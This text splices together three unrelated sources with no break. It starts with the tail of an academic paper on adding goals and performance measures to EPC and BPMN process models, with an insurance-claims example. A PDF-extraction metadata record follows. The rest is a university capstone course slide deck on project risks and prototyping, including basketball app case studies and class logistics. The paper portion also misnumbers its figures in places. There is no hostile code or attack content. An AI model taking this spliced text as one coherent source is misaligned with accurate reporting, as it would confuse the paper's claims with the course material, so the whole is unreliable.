The metamodel is extended with performance measures as a new category according to the specification (BPMI/OMG, 2006), with regard to the fact that an extension is not allowed to change the basic shape of the defined graphical elements and markers. The extensions are marked with the term "is presented through" in the metamodel, to sign that an extended metaclass is graphically described through a core element of BPMN.
The Organisational Structure explicitly describes Organisational Units and Roles within a business process. This could be for example the department or an employee of a company. They are presented through a pool, because they are a concrete specification of a pool and so far also part of the category swimlanes. An organisational unit has one or more roles, and a role belongs to at most one unit. The metamodel extended with the new introduced category of performance measures are highlighted in grey in Figure 5. A Measure is distinguished between a measure on Type Level or Instance Level, because the type level of BPMN can be executed with a mapping to BPEL according to the specification ((BPMI/OMG, 2006). Since the EPC is not executable, therefore the BPML does not need a distinction in its metamodel between type or instance level. Cost and Quality belong to the type level, and cycle time to instance level. Cost and quality are in contrast to cycle time more focused on the type level of a process, as the required data is often not available on instance level. A measure is represented by a pool, because an organisational structure has to act on measures. If the measure is Cycle Time, then it is represented through a Time Event. Furthermore an organisational structure can be triggered by an event alert, if an action or a group of actions is not executed within its performance measures.
6 EXAMPLES
We demonstrate the practical applicability of the extension of the EPC and the BPMN with business process goals and performance measures in Figure 4 and 5 with the example business process of an insurance company: the Processing of Automobile Claims business process (Fig. 6). The business process in both diagrams is decomposed into three hierarchical levels to improve the structure and clarity. The main difference in the graphical notation of the extension of both BPMLs is that EPC uses new graphical notation elements for presenting the performance measures, while BPMN uses no graphical notation elements and integrates them into the existing elements. In BPMN, extensions to notation elements can be made by means of new markers or indicators associated with the current graphical elements. It is recommended to use the existing graphical notation elements, and to keep away from changing them. In the examples in Figure 6 we introduce additional labels to the graphical elements of BPMN, for instance for a pool the label “Organisational Role” which corresponds to the homonymous metaclass in the metamodel.
At the first hierarchy level, the overall goal of the complex function of the EPC and the collapsed sub-process in BPMN with the label Process of Automobile Insurance Claims is to fulfil the process goals High Customer Satisfaction, Short Process Duration and Low Processing Costs. The process has to meet three measures, costs, cycle time and quality. The average processing costs per month have to be 15€ maximum and the number of complaints should not exceed five percent. In case of the BPMN it is also possible to introduce alerts in a diagram with time events (BPMI/OMG, 2006). In our example, if the cycle time is over four days, then the Claim Manager receives an alert, and gets a report about that specific case.
At the second hierarchy level the organisational role Financial Claim Specialist is responsible for the complex function in EPC and for the collapsed sub-process in BPMN respectively, labelled with Assertion of the Claim. The organisational role of the Claim Administrator is responsible for the Compensation of the Claim in both BPMLs. Furthermore assertion of the claim has to fulfilling its tasks within a cycle time of one day, and compensation of the claim within three days.
At the beginning of the process at the third hierarchy level, the organisational role Financial Claim Specialist is responsible for the functions/tasks Record the Claim and Calculate the Insurance Sum. After a waiting time of two days maximum, the organisational role of the Claim Administrator has to follow up with the process.
If the insurance sum is a major amount, then the claim administrator has to Check History of the Customer.
Otherwise, when the insurance sum is a minor amount, then no additional function for EPCs respectively task for BPMN is required and the organisational role of the claim administrator starts immediately to Contact the Garage. After contacting the garage for the reparation, the Examination of Results has to begin with the decision whether the payment for the damage is positive or negative. If the examination is positive, then the insurance has to Pay for the Damage, and the case is closed.
Figure 4: Extended EPC metamodel with performance measures.
Figure 5: Extended BPMN metamodel with performance measures and goals.
Figure 6 shows that a business process in EPC and BPMN with its hierarchical levels based on extended metamodels can be grasped at a glance. The extensions of the metamodel illustrate the requirements of a certain business process better and enhance the expressiveness of the model.
7 RELATED WORK
Several approaches exist in the global area of goal-oriented business process modelling. A couple of works will be presented here.
Korherr et al. (Korherr, B., List, B., 2006) presented a UML 2 profile for integrating business process goals and performance measures time, cost, and quality into UML 2 Activity Diagrams. Furthermore, it is possible to show the organisational structure that is concerned with alerts that belong to a measure. The profile also is mapped to BPEL.
Neiger et al. (Neiger, D., Churilov, L., 2004)) focus on the problem that business process management frameworks are able to represent various aspects of the business process, but they do not meet the requirements of goal-oriented business process modeling.
EXTENDING THE EPC AND THE BPMN WITH BUSINESS PROCESS GOALS AND PERFORMANCE MEASURES
Figure 6: Example business process of Processing of Automobile Claims for EPCs and BPMN.
To solve this problem, the authors establish links between EPCs and its additional goals with the “value focused thinking” (VFT) framework to address the gaps in the existing methodologies and tools, without looking at the measurement of the goals.
Anderson et al. (Andersson B., Bider I., Johannesson P., Perjons, E., 2005) developed a formal definition of goal-oriented business process patterns for making a formal comparison of business processes. This approach is very high level, because the authors focus on business processes, and not on a specific business process modeling language.
Aguilar et al. (Aguilar, E. R., Ruiz, F., Garcia, F., Piattini M., 2006) developed a set of measures to evaluate the structural complexity of business process models on the conceptual level. The authors use BPMN for their evaluation. The evaluation of performance measures like time or cost is not important for their work, the focus lies on measuring the complexity of BPMN.
8 CONCLUSION
EPC as well as BPMN belong to the most well-known languages, but both are not able represent performance measures. In this paper, we have presented the metamodels with its extension to integrate business process goals and performance measures into these languages. The extension of both languages provides an explicit illustration of the goals a business process must achieve, as well as an integration of the performance measures time, cost, and quality, because without measuring the process goals it is not possible to assess if a goal is fulfilled or not. These extensions better illustrate the requirements of a certain business process and enhance the expressiveness of a model. Furthermore the organisational structure – a concept that is already available in EPCs – is integrated in BPMN, which is concerned with alerts that belong to a measure for a possible transformation to BPEL. The extensions of both languages were tested with an example business process.
ACKNOWLEDGMENTS
This research has been funded by the Austrian Federal Ministry for Education, Science, and Culture, and the European Social Fund (ESF) under grant 31.963/46-VII/9/2002.
REFERENCES
|
{"Source-Url": "http://www.scitepress.org/Papers/2007/23790/23790.pdf", "len_cl100k_base": 5268, "olmocr-version": "0.1.50", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 22424, "total-output-tokens": 6361, "length": "2e12", "weborganizer": {"__label__adult": 0.000537872314453125, "__label__art_design": 0.0012044906616210938, "__label__crime_law": 0.0006799697875976562, "__label__education_jobs": 0.005260467529296875, "__label__entertainment": 0.0001842975616455078, "__label__fashion_beauty": 0.0003376007080078125, "__label__finance_business": 0.0137786865234375, "__label__food_dining": 0.0006518363952636719, "__label__games": 0.0008006095886230469, "__label__hardware": 0.0007719993591308594, "__label__health": 0.0012798309326171875, "__label__history": 0.0005793571472167969, "__label__home_hobbies": 0.00018870830535888672, "__label__industrial": 0.0013418197631835938, "__label__literature": 0.000904560089111328, "__label__politics": 0.0005092620849609375, "__label__religion": 0.0005292892456054688, "__label__science_tech": 0.1639404296875, "__label__social_life": 0.00022852420806884768, "__label__software": 0.0341796875, "__label__software_dev": 0.77001953125, "__label__sports_fitness": 0.00036787986755371094, "__label__transportation": 0.0011453628540039062, "__label__travel": 0.00033402442932128906}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 27575, 0.02521]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 27575, 0.50892]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 27575, 0.93207]], "google_gemma-3-12b-it_contains_pii": [[0, 3656, false], [3656, 8323, null], [8323, 12379, null], [12379, 16705, null], [16705, 21837, null], [21837, 23007, null], [23007, 23181, null], [23181, 27575, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3656, true], [3656, 8323, null], [8323, 12379, null], [12379, 16705, null], [16705, 21837, null], [21837, 23007, null], [23007, 23181, null], [23181, 27575, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 27575, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 27575, null]], "pdf_page_numbers": [[0, 3656, 1], [3656, 8323, 2], [8323, 12379, 3], [12379, 16705, 4], [16705, 21837, 5], [21837, 23007, 6], [23007, 23181, 7], [23181, 27575, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 27575, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-03
|
2024-12-03
|
f20fe2143c8b9b523fc5df0426660f74b792c1d9
|
01/18: Risks and Prototypes
The Capstone Experience
Dr. Wayne Dyksen
James Mariani
Luke Sperling
Brenden Hein
Department of Computer Science and Engineering
Michigan State University
Spring 2022
Meeting Attendance Notes
• Microsoft Teams
▪ Joined ≤ 10:20:00 AM ⇒ On Time
▪ 10:20:01 AM ≤ Joined ≤ 10:25:00 AM ⇒ Late
▪ 10:25:01 AM ≤ Joined ⇒ Absent
▪ Left < Meeting End Time ⇒ Absent
• Google Form
▪ Random Times During Meeting
▪ Once At End of Meeting
▪ Miss Google Form ⇒ Absent
• Meeting End Time
▪ Normally ≤ 11:40:00 AM
▪ Not Until “Dismissed” and Completed End-of-Class Google Form
▪ Instructors May Dismiss Folks and Stay for Questions
• Grade Impact
▪ On Time ⇒ -0.0
▪ Late ⇒ -0.5
▪ Absent ⇒ -1.0
• Effect on Final Grade
▪ Start With 5.0/5.0
▪ Can Go Negative
Risks and Prototypes
➢ Risks
• Prototypes
Identifying Risks
• What You Don’t
▪ Know
▪ Understand
▪ Know How to Do
• Normally
▪ Major Project Features
▪ “Showstoppers”
• Varies From
▪ Not Familiar With But (Probably) Can Learn to
▪ Absolutely No Idea How to Do It
What are you worried about?
What should you be worried about?
Example Risks
Including but not limited to...
• Business Processes
• Key Application Features
• Hardware Systems
• Software Systems
• Development / Programming Environments
• Programming Languages
• Etc...
Prioritizing Risks
• Classify Difficulty
▪ High Very Hard, No Idea How to Do
▪ Medium
▪ Low Not Hard, Probably Doable
• Classify Importance
▪ High Showstopper, Must Have
▪ Medium
▪ Low Not Vital, Nice to Have
Prioritizing Risks
The Capstone Experience
Risks and Prototypes
Case Studies: MSU Men’s Basketball Apps
• Play Effectiveness
▪ Determine Effectiveness of Plays
▪ Record All Plays with Results
▪ Produce Reports of Effectiveness
• Player Timer
▪ Keep Track of Player Times
▪ Record Minutes Played and Rested
▪ Use On the Bench, During the Game
Basketball Apps Architectures
Play Effectiveness Application
Visual Basic
MS Access
Windows Desktop
Player Timer Application
Visual Basic
MS Access
Windows Tablet PC
Basketball already had all three of these components.
I had some of these.
Basketball Apps Risks
• What SDK should I use?
• Can I write this in Visual Basic?
• How do I make a GUI in VB?
• How do I interface VB with Access?
▪ Create/Open/Save a Database?
▪ Read/Write Records?
▪ Traverse Records?
• How do I implement clocks in Windows?
▪ Game Clock?
▪ Wall Clock?
• How do I generate a report from Access?
Mitigating Risks
• Use Existing Resources
▪ Including But Not Limited To
o Faculty
o Other Students
o Product Demos
o Book Sample Code
o Downloadable Examples
o Wizards
o Etc...
▪ Test Drive
o Install
o Compile
o Extend
o Etc...
• Build Prototypes
▪ Single Purpose
▪ Quick-and-Dirty
Nota Bene:
1. Check license if including in project.
3. Inform client.
Basketball Apps Risk Mitigation
• Implementing a Clock
▪ Start /Stop
▪ Counts Down
▪ By Minutes:Seconds
• Handling Access Records
▪ Write Number
▪ Read Number
▪ Add Up Numbers
Start
Stop
19:55
Write 7
Read 14
Add Up 55
Risks and Prototypes
✓ Risks
➢ Prototypes
Aside: Capstone Transition
• From... “Make one of these.” –CSE Professor
▪ Coding
▪ Valuable Skills
• ...To “Solve my problem.” –Customer/Client
▪ Gather Requirements
▪ Design
o Architecture
o User Experience
▪ Highly Valuable Skills
Prototypes
• Developed
▪ Early
▪ Rapidly
• Implement Subset of the Requirements
• Done for Variety of Reasons
• Are Not Finished Goods
• “Hacking” (Good Sense)
Why? Answer Questions
Help Determine...
• Specifications
▪ Functional
▪ Design
▪ Technical
• Usability
• How Existing Code Works
• Programming Languages
• Development Environments
• Operating Environments
• Etc...
Why? Determine Schedule
Determine how long it will take to...
- ...learn the new programming language.
- ...learn the development environment.
- ...learn the existing code.
- ...convert the existing code.
- ...convert the existing database.
- ...get libraries working.
- ...deploy the application onto an iOS device.
- ...Etc....
Why? Identify Risks
• Operability
▪ How do we make a game clock?
▪ Where do we store the data?
• Interoperability
▪ How does the game clock work with other tablets?
▪ How do the tablets all write to the same database?
• Scalability
▪ Will the game clock propagate in real time?
▪ Will the database engine keep up?
• Reliability
▪ What happens if the clock tablet dies?
▪ What happens if the database tablet dies?
• Etc-Ability...
Speed (to Write)
- Critical
- 2-3 Day Tasks
- Use Whatever Works
- RAD Languages
- SDK’s
- IDE’s
- Design Tools
- Wizards
- Sample Code
- Etc...
- Stop When Questions Answered
Tradeoffs: Speed (to Write) vs...
• Speed (to Write) vs Best Software Practices
▪ Testing
▪ Documentation
▪ Security
▪ Software Engineering
▪ Usability
▪ Performance
▪ Coding Standards
▪ User Interface Standards
▪ Using Real Data
▪ Etc...
• Hence, May Not Be Appropriate in Final Deliverable
Challenge/Danger
• “Hack” Solution
▪ It works.
▪ It’s *a* way to do something.
vs
• “Correct” Solution
▪ It works.
▪ It’s the *“right”* way to do something.
(There may be more than one “right” way to do something.)
Basketball Prototypes Case Studies
➢ Play Effectiveness
• Player Timer
Basketball Play Effectiveness App
- Functional Specifications
- Determine Effectiveness of Plays
- Record All Plays with Results
- Produce Reports of Effectiveness
- Each Play
- # of Successes / # of Attempts
- Design Specifications?
- Technical Specifications?
Initial Meeting with Video Coordinator
I Learned...
• Done After Game
▪ On Desktop Computer
▪ From DVR-Like App
• Lots of Plays (~ 200) in Play Book
• ~20-40 Plays Run Per Game
• Plays Categorized
▪ Early Offense 1,2 (i.e., Fast Breaks)
▪ Offense 1,2 (i.e., Half Court Plays)
▪ Special Situations 1,2 (i.e., Out of Bounds)
• Overwhelming ← Can you relate?
Play Effectiveness Architecture
Basketball already had all three of these components.
Risks
• Learning Basketball Business Processes
• Programming in Visual Basic
▪ Can this be done in VB?
▪ ! Can I learn VB?
• Making a GUI in VB
• Interfacing VB with Access
▪ Creating/Opening/Saving a Database
▪ Reading/Writing Records
▪ Traversing Records
• Generating Reports in Access
• Etc…
BB PE PV1
(Prototype Version 1)
Fields
- P# Play Number
- T Time
- C# Clip Number
- EO Early Offense
- O Offense
- SS Special Situations
- R Result
Nota Bene
- Just Screen Layout
- No Code (Underneath)
- Never Have All Entries Filled at Once
Feed to Adams. Washington always gets the rebound. Jefferson or Hamilton should take the shot.
What I Learned From PV1
- Wanted to Identify Plays Within a Possession
- Plays Categorized Series / Set
- Set is Variation on Series ("Parameterized Plays")
- E.g.
- Series: Thumbs
- Sets: Up, Down, Circle
- Plays: Thumbs Up, Thumbs Down, Thumbs Circle
- CS Paradigm: Thumbs(Up), Thumbs(Down), Thumbs(Circle)
- 1, 2 Notation
- EO1 = Early Offense Series
- EO2 = Early Offense Set
- ST (Special Teams) Missing
- Huge Impact On Design
The Capstone Experience
Risks and Prototypes
What I Learned From PV1
• Results Coded
▪ X\textsuperscript{\textregistered} Missed N Pointer (X1, X2, X3)
▪ O\textsuperscript{\textregistered} Made N Pointer (O1, O2, O3)
▪ FF Foul on the Floor
▪ TO Time Out
▪ Etc...
• Wanted to Record Notes on Defense
• Didn’t Care About
▪ Player Times
▪ Video Clip Number (C\#)
BB PE PV1
Fields
- P# Play Number
- T Time
- C# Clip Number
- EO Early Offense
- O Offense
- SS Special Situations
- R Result
Nota Bene
- Just Screen Layout
- No Code (Underneath)
- Never Have All Entries Filled at Once
So, from this to...
### BB PE PV2
#### Fields
- **PO#**
- Possession Number
- **PL#**
- Play Number
- **SS**
- Special Situations
- **DF**
- Defense
#### Nota Bene
- Just Screen Layout
- No Code (Underneath)
- Would **NOT** Have Entries in All Fields
#### Example
**Play**
- **T** 12:34
- **PO#** 12
- **PL#** 17
- **EO** Early Offense
- **OF** Zone Offense
- **ST** BLOB
- **SS** 2 For 1
- **R** 02
**Roster**
1. Adams, John
2. Jefferson, Tom
3. Washington, George
4. Franklin, Ben
5. Hamilton, Alex
**Notes**
Feed to Adams. Washington always gets the rebound. Jefferson or Hamilton should take the shot.
**Game**
- **Opponent** Harvard University
- **Location** Boston
- **Date** July 4, 1776
- **Number** 1776070401
**BB PE PV2**
**Fields**
- PO#: Possession Number
- PL#: Play Number
- SS: Special Situations
- DF: Defense
**Nota Bene**
- Just Screen Layout
- No Code (Underneath)
- Would NOT Have Entries in All Fields
**Combinations**
- Eliminated Clip #
- Added Play #
- Combined Series/Set
- Eliminated Player Times
- Added Buttons
- Would NOT Have Entries in All Fields
What I Learned From PV2
• Wanted to Grade Effectiveness of Plays
• Wanted to Record Player Steals and Assists (Remember this...)
• Needed to Navigate Plays and Possessions
• Wanted to See Running Total Score
### BB PE PV2
#### Fields
- **PO#**: Possession Number
- **PL#**: Play Number
- **SS**: Special Situations
- **DF**: Defense
#### Nota Bene
- **Just Screen Layout**
- **No Code (Underneath)**
- **Would NOT Have Entries in All Fields**
---
### Game:
<table>
<thead>
<tr>
<th>Opponent</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>Harvard University</td>
<td>Boston</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Date</th>
<th>Number</th>
</tr>
</thead>
<tbody>
<tr>
<td>July 4, 1776</td>
<td>1776070401</td>
</tr>
</tbody>
</table>
### Play:
<table>
<thead>
<tr>
<th>T</th>
<th>PO#</th>
<th>PL#</th>
<th>Series</th>
<th>Set</th>
</tr>
</thead>
<tbody>
<tr>
<td>12:34</td>
<td>12</td>
<td>17</td>
<td>Early Offense</td>
<td>Corner (Rescreen-Post)</td>
</tr>
</tbody>
</table>
### Roster:
1. Adams, John
2. Jefferson, Tom
3. Washington, George
4. Franklin, Ben
5. Hamilton, Alex
### Notes:
Feed to Adams. Washington always gets the rebound. Jefferson or Hamilton should take the shot.
---
So, from this to...
<table>
<thead>
<tr>
<th>PE#</th>
<th>Time</th>
<th>PL#</th>
<th>MSU</th>
<th>Op</th>
<th>Series</th>
<th>Set</th>
<th>Effectiveness</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>12:34</td>
<td>17</td>
<td>37</td>
<td>23</td>
<td>Early Offense</td>
<td>Corner (Rescreen-Post)</td>
<td>Great</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>BLOB</td>
<td>Quick Post for Perimeter</td>
<td>Poor</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Zone Offense</td>
<td>Jersey - Side Ball Screen</td>
<td>So-So</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>X</td>
<td>O</td>
<td>Outstanding</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Man-to-Man</td>
<td>Something Else</td>
<td>Good</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2 For 1</td>
<td>Blah Blah</td>
<td>Unreal</td>
</tr>
</tbody>
</table>
**Notes:**
Feed to Adams. Washington always gets the rebound. Jefferson or Hamilton should take the shot.
**Roster**
<table>
<thead>
<tr>
<th>P</th>
<th>Player</th>
<th>S</th>
<th>A</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Unbound</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>Jefferson, Tom</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>Washington, George</td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>Franklin, Ben</td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>Hamilton, Alex</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
**Commands**
- Next Play
- Next Possession
- Previous Play
- Previous Possession
- Delete Play
- Delete Possession
- Exit
**Game**
- **Opponent:** Harvard University
- **Location:** Boston
- **Date:** 11/17/2003
- **Number:** 1776070401
Added Running Score
Added Steals and Assists
Added Effectiveness
Added Buttons
What I Learned From PV3
• Wanted…
▪ Grades to Be A, B, C, D, F
▪ Results Associated With Players
▪ Series/Set Combined
(“Thumbs Up” Rather Than “Thumbs”, “Up”)
▪ To Record Player Rebound
• Will be used by…
▪ Video Coordinator, GAs, and Managers
▪ Very Comfortable with DVR Controls
• Did **NOT** Want to Record Player Steals or Assists
So, from this to...
<table>
<thead>
<tr>
<th>PE#</th>
<th>Time</th>
<th>PL#</th>
<th>MSU</th>
<th>Op</th>
<th>Effectiveness</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>12:34</td>
<td>17</td>
<td>37</td>
<td>23</td>
<td></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Series</th>
<th>Set</th>
<th>Effectiveness</th>
</tr>
</thead>
<tbody>
<tr>
<td>EO Early Offense</td>
<td>Corner (Rescreen-Post)</td>
<td>Great</td>
</tr>
<tr>
<td>ST BLOB</td>
<td>Quick Post for Perimeter</td>
<td>Poor</td>
</tr>
<tr>
<td>OF Zone Offense</td>
<td>Jersey - Side Ball Screen</td>
<td>So-So</td>
</tr>
<tr>
<td>R X</td>
<td>O</td>
<td>Outstanding</td>
</tr>
<tr>
<td>DF Man-to-Man</td>
<td>Something Else</td>
<td>Good</td>
</tr>
<tr>
<td>SS 2 For 1</td>
<td>Blah Blah</td>
<td>Unreal</td>
</tr>
</tbody>
</table>
Notes:
Feed to Adams. Washington always gets the rebound. Jefferson or Hamilton should take the shot.
BB PE AV1
(Alpha Version 1)
First Version
With Code
Not Much Implemented
BB PE AV1
(Alpha Version 1)
First Version
With Code
Not Much Implemented
- Changed Grading to A, B, C, D, F
- Combined Series/Set
- Associated Results With Players
- Added Rebound
- Deleted Steals and Assists
- Changed Buttons to DVR-Style
What I Learned From Alpha 1
• Entering a Play
▪ Some Things Calculated Automatically
o Play/Possession Number
o Score
▪ Most Things Entered With Mouse Via Pull-Down Menus
o Series / Set
o Result
▪ But Time Entered With Keyboard Via Typing Numbers
• Need
▪ Mouse-Only Input
▪ Easy Way to Adjust Clock
BB PE AV1
(Alpha Version 1)
First Version
With Code
Not Much Implemented
So, from this to...
BB PE AV2
Still Not Much Implemented
BB PE AV2
Still Not Much Implemented
Added Clock Adjustment Buttons
Basketball Prototypes Case Studies
✓ Play Effectiveness
➢ Player Timer
Player Timer App
• Keep Track of Player Times
• For Each Player Record
▪ Minutes Played
o Game Clock Time
o Consecutive & Total
▪ Minutes Rested
o Wall Clock Time
o Consecutive
• Must
▪ Be Usable on the Bench, During the Game
▪ Be Portable and Not Require Electrical Outlet
▪ Feel Like a Pen and a Clipboard
Player Timer App
Player Timer Application
Visual Basic
MS Access
Windows Tablet PC
I had some of these.
Risks
• Learning Basketball Processes
• Implementing Clocks in Windows?
▪ Game Clock
▪ Wall Clock
• Very Limited Screen Real Estate
▪ Different Problem Than Mobile App
▪ Must Feel Like Clipboard and Single Piece of Paper
• Computing and Displaying Cumulative Times
• Hidden Risk ("Danger Will Robinson!")
Player Timer Development
• Knew Exactly What They Wanted, So...
• Designed “Final” Version
▪ User Interface
▪ Data Base Schema
▪ Etc...
• Coded “Final” Version
• Bench Tested “Final” Version
• Field Tested “Final” Version
▪ In Practice Scrimmage
▪ Totally and Completely Unusable
• Scrapped “Final” Version UI and Started Over
Aside: Great Example of Front-End / Back-End Architecture and Design
### Player Timer
**Period:** 1
**Time:** 16:19
---
#### Michigan State Spartans
Men's Basketball
#### Start the Clock
<table>
<thead>
<tr>
<th>Checked Out</th>
<th>Checked In</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>F.</strong></td>
<td><strong>F.</strong></td>
</tr>
<tr>
<td>Time</td>
<td>Remaining</td>
</tr>
<tr>
<td>Current</td>
<td>Remaining</td>
</tr>
<tr>
<td>1:12</td>
<td>1:48</td>
</tr>
<tr>
<td>1:52</td>
<td>1:08</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
<tr>
<td>0:27</td>
<td>2:33</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
<tr>
<td>0:00</td>
<td>3:00</td>
</tr>
</tbody>
</table>
---
**Start the Clock**
- **View Game Stats**
- **Check Out All**
- **Scan the Period**
- **End the Period**
**Load Roster** **Open** **Exit**
Software Updates
- Enable Clock Adjustments (While Clock Stopped)
- Enable Check In/Out By Touching
- Check In/Out Button
- Player Name
- Player Slot
- Allow > 5 Players Checked In (While Clock Stopped)
- Enable Pending Check In (While Clock Running)
- Eliminate All Modal Dialog Boxes
Basketball Prototypes Case Studies
✓ Play Effectiveness
✓ Player Timer
Risks and Prototypes
✓ Risk
✓ Prototypes
Questions?
Team Photos
- Individual Photos Requirements
- Dress
- Business
- Very Nice Business Casual
- Front Facing
- Hands down to the sides
- Hands out of pockets
- ¾ Length, Just Below Knees (Including Hands)
- High Resolution as Possible
- Solid Background
- Good Lighting
- Relaxed
- jpeg
Team Photos
- Examples of Required Resubmits
Bad Angle
Out of Focus
Not to Knees
Team Photos
- **Photo Release Form**
- Required by MSU
- Standard
- **Submission**
- Use Google Form (Link Emailed to You)
- File Naming Convention
- team-[normalized-team-name]-[last-name]-[first-name].jpg
- team-kelloggs-dyksen-wayne.jpg
- team-delta-dental-knowledge-science-1-mariani-james.jpg
- Due by 11:59 p.m. ET, Sunday, January 23
- **Failure to Submit**
- Not in Team Photo
- Points Deducted from Team Contribution
- Photographer May Require You to Resubmit
What’s ahead?
• Upcoming Meetings
– 01/18: Risks and Prototypes
– 01/20: Team Status Report Presentations
– 01/25: Project Plan
– 01/27: Schedule and Teamwork
– 02/01: Team Project Plan Presentations
– 02/03: Team Project Plan Presentations
– 02/08: Team Project Plan Presentations
10% of Team Grade
What’s ahead?
• Split-Hands Meetings
▪ Used On Presentation Days
o 01/20: Team Status Report Presentations
o 02/01-02/08: Team Project Plan Presentations
▪ Two Microsoft Teams Channels
o Brenden’s Channel
❖ Brenden’s Teams
❖ Teams Amazon, Anthropocene Institute, Kellogg’s
o Luke’s Channel
❖ Luke’s Teams
❖ Teams Kohl’s, MaxCogito, United Airlines Airport Operations
▪ Attendance Taken As Usual
What’s ahead?
- **01/20: Team Status Report Presentations**
- One Week From Today
- Split-Hands Meeting
- Slide Deck Template Posted on Downloads Page
- Must Use Windows Version of Office 365 ← *Nota Bene*
- Read Submission Instructions Carefully
- Due by 11:59 p.m., Wednesday, 01/19
- Upload Two Times to Microsoft Teams
- To General Channel File Space
- Folder “Team Status Report Presentation Slide Decks”
- To Capstone Team’s Private Channel
- Aggregated Slide Decks
- By Instructor
- Instructors will “drive” during split-hands presentations.
- Presenters will say “Next slide please.”
Normalized Team Names and Filenames
• Convention
▪ Use all lowercase.
▪ Delete non-numeric and non-alphabetic characters.
▪ Replace blanks by dashes.
• Examples
▪ team-amazon-status-report-presentation.pptx
▪ team-kelloggs-status-report-presentation.pptx
▪ team-delta-dental-knowledge-science-1-status-report-presentation.pptx
Read Me
- Presenting
- The Status Report Presentations will be given on Thursday, January 20.
- The purpose of your Status Report Presentation is for your team to demonstrate that you have made significant progress on your project. In particular, you will give status reports on a variety of things including the status of project sponsor contact, project sponsor meeting schedules, team meeting schedules, team organization, server systems and software, development systems and software, a brief description of the project, the status of your project plan and the initial identification of risks.
- The time limit for your presentation is 4.5 minutes, which will be strictly enforced. Practice your presentation to ensure that your team will finish within the allotted time of 4.5 minutes.
- We will meet in “split-hands” meetings with one Microsoft Teams channel hosted by Brenden and a second Microsoft Teams channel hosted by Luke. Brenden’s channel will include his teams along with Teams Amazon, Anthropocene Institute and Kellogg’s. Luke’s channel will include his teams along with Teams Kohl’s, MaxCogito and United Airlines Airport Operations.
- Dr. D. will combine the teams’ slide decks into two slide decks, one for Brenden’s channel and one for Luke’s channel.
- Brenden and Luke will share their screen and “drive” the slide deck for their teams.
- Your team may have one or more presenters. All team members should turn their cameras on during their presentation.
- The order in which the teams will present will be random.
• Creating and Editing
– Use only the Windows version of Office 365.
– You must use this PowerPoint slide deck template as is. Do not change the number of slides unless the instructions explicitly allow you to duplicate slides. Do not change the order of the slides. Do not change the styles. Do not edit the master slides.
– Throughout the template, replace placeholders […] with the appropriate information.
– Edit the center footer by clicking the Header & Footer button on the Insert ribbon. Change [Team Name] in the footer to your company name as in “Team TechSmith Status Report Presentation”. If necessary, extend the width of the center footer textbox on the master slide, making sure that you re-center the enlarged textbox.
– Do not include any company confidential information in your presentation.
– Delete every textbox that includes “Delete this textbox” and every slide that includes “Delete this slide.”
• Submitting
– All presentations must be submitted to us and to your client by 11:59 p.m., Wednesday, January 19.
– Name your PowerPoint slide deck file as “team-[team-name]-status-report-presentation.pptx” replacing “[team-name]” with your team’s name normalized by using all lower case, deleting non-numeric and non-alphabetic characters, and replacing blanks by dashes. Examples include “team-kelloggs-status-report-presentation.pptx” and “team-delta-dental-knowledge-science-1-status-report-presentation.pptx”.
– Upload your PowerPoint slide deck to the folder “Status Report Presentation Slide Decks” in our Microsoft Teams General Channel file space by 11:59 p.m., Wednesday, January 19. In addition, upload your slide deck to your team’s private channel file space in case your slide deck is deleted by accident from the General Channel file space, and you need to prove that you did indeed upload your slide deck by the due date and time.
